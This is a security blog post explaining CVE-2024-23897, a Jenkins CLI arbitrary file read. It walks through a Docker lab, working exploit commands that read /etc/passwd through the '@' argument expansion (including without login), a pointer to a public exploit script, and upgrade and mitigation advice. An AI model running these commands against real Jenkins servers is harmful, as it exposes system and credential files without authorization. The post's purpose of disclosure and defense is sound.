1. Introduction
CVE-2024-23897 has quickly become a topic of critical concern in the cybersecurity community. This vulnerability, identified in Jenkins, an essential tool for automation in numerous IT environments, poses a serious threat due to its potential for remote code execution. With a high severity rating, understanding and addressing CVE-2024-23897 is imperative for all Jenkins users. This blog aims to provide a clear overview of the vulnerability, its implications, and the necessary steps for mitigation.
2. Quick Overview of CVE-2024-23897
CVE-2024-23897, identified in Jenkins, is an arbitrary file read vulnerability linked to its Command Line Interface (CLI). This issue arises from the args4j library’s handling of command arguments, specifically through the ‘expandAtFiles’ feature. Crucially, this feature replaces ‘@’ symbols in CLI commands with contents from specified file paths. Present by default in Jenkins versions up to 2.441 and LTS 2.426.2, it could allow unauthorized file reading. With a high CVSS score of 9.8, this vulnerability is a significant security concern, emphasizing the need for immediate attention and action.
Credit for the discovery and reporting of the flaw goes to security researcher Yaniv Nizry from SonarSource.
3. Exploitation
In this demonstration, we’ll be setting up Jenkins version 2.426.2 in a Docker environment to showcase how the vulnerability can be exploited. To get started, we’ll use the following Docker command to install the specified Jenkins version.
sudo docker run -p 8080:8080 -p 50000:50000 -v jenkins_home:/var/jenkins_home –name jenkins-2.426.2 jenkins/jenkins:2.426.2
//This command initializes a Docker container with Jenkins 2.426.2, mapping the necessary ports and creating a volume for Jenkins home.”
After successfully initiating the Jenkins environment using Docker, our next step involves checking our IP address. This is crucial for accessing Jenkins through a web browser. To find the IP address, use the **ifconfig**command in the terminal. This command will display network configuration details, including the IP address of your machine.
Once you have noted your IP address, open a web browser and navigate to http://<your-ip-address>:8080. This directs you to the Jenkins interface running on port 8080 of your local server. By accessing this URL, you’ll be able to proceed with the Jenkins setup and further explore its functionalities.
Once you reach the ‘Unlock Jenkins’ page, you’ll need the initial admin password. You can find this in two places:-
In the Docker Terminal Output: Look for the password in the terminal logs when Jenkins was starting up.
Via the Jenkins Home Directory: Run the following command in your terminal to retrieve it.
sudo docker exec -it jenkins-2.426.2 cat /var/jenkins_home/secrets/initialAdminPassword
Copy and paste this password into the Jenkins interface to unlock and start configuring your server.
A new user is created with the following config:
Username: root
Password: toor
Fullname: Test
Email: saumyajeet@zeron.one
Once the Jenkins setup is complete, navigate to http://<your-ip-address>:8080/manage/cli in your browser. From this page, you can download the jenkins-cli.jar file, which enables you to interact with Jenkins from your terminal.
Once you have jenkins-cli.jar, head to your downloads folder. To connect to Jenkins with your credentials, use this command:
java -jar jenkins-cli.jar -s ‘http://<your-ip-address>:8080’ -auth “root:toor” connect-node “@/etc/passwd”
Curious about Jenkins commands without logging in? Try this out:
java -jar jenkins-cli.jar -noCertificateCheck -s ‘http://<your-ip-address>:8080’ help “@/etc/passwd”
You’ll see the help menu’s first line, no sign-in needed
For automating the exploitation process, use the tool available at https://github.com/xaitax/CVE-2024-23897 on GitHub.
Execute the following command to exploit the vulnerability using the Python script
python3 CVE-2024-23897.py -t <target-ip> -f <file-to-read>
Replace <target-ip> with the IP address of your target and <file-to-read> with the specific file you want to read on the target system.
4. Mitigation
If you’re managing a Jenkins installation, it’s crucial to address the identified vulnerability promptly. The best course of action is to upgrade to Jenkins version 2.442 or, if you’re on the LTS (Long-Term Support) track, to version 2.426.3. For those who need an immediate, temporary solution, consider limiting access to the Jenkins CLI. This interim measure can enhance security until you’re able to apply the update, and it doesn’t necessitate restarting Jenkins.
5. References
Here are the links for references regarding CVE-2024-23897:
National Vulnerability Database (NVD): NVD – CVE-2024-23897
GitHub Advisory Database: GitHub – CVE-2024-23897
Tenable: Tenable – CVE-2024-23897
OpenCVE: OpenCVE – CVE-2024-23897
Jenkins Security Advisory: Jenkins – CVE-2024-23897
– Saumyajeet Das, R&D Associate | Zeron
